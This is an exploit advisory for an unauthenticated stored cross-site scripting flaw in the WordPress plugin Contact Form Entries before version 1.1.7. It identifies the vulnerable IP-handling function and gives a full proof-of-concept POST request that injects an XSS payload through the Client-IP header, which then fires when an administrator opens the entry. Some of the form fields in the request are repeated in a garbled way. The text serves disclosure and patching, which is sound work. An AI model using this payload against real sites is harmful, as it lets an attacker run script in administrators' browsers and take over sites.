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# Exploit Title: WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated)
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# Date: 22/12/2021
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# Exploit Author: gx1 <gaetano.perrone[at]secsi.io>
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# Vulnerability Discovery: Gaetano Perrone
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# Vendor Homepage: https://www.crmperks.com/
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# Software Link: https://wordpress.org/plugins/contact-form-entries/
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# Version: < 1.1.7
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# Tested on: any
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# References:
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* https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac
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* https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/
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# Description:
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Contact Form Entries < 1.1.7 is vulnerable to Unauthenticated Stored Cross-Site Scripting
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# Technical Details and Exploitation:
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CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field.
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When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user:
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===============================================================================================================
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public function get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388
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==============================================================================================================
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The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is stored inside the database.
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# Proof Of Concept:
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Suppose that you have a Contact Form, intercept the POST request and insert the following Client-IP header
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===============================================================================================================
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POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback HTTP/1.1
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Host: dsp.com:11080
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Content-Length: 1411
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Accept: application/json, text/javascript, */*; q=0.01
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X-Requested-With: XMLHttpRequest
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
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Client-IP: <img src=a onerror=alert(1)>
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7"
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10
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_version"
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5.3.1
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_locale"
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en_US
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_unit_tag"
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wpcf7-f10-p13-o1
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_container_post"
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Content-Disposition: form-data; name="_wpcf7"
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10
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_version"
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5.3.1
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_locale"
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en_US
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_unit_tag"
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wpcf7-f10-p13-o1
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------WebKitFormBoundaryCuNGXLnhRsdglEAx
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Content-Disposition: form-data; name="_wpcf7_container_post"
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...
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===============================================================================================================
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The request is acccepted, and the code navigates the section $_SERVER['HTTP_CLIENT_IP'] , ip is injected and saved inside the database.
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When the administrator clicks on the entry element in the plugin, the XSS is triggered.
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# Solution:
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Upgrade Contact Form Entries to version 1.1.7 |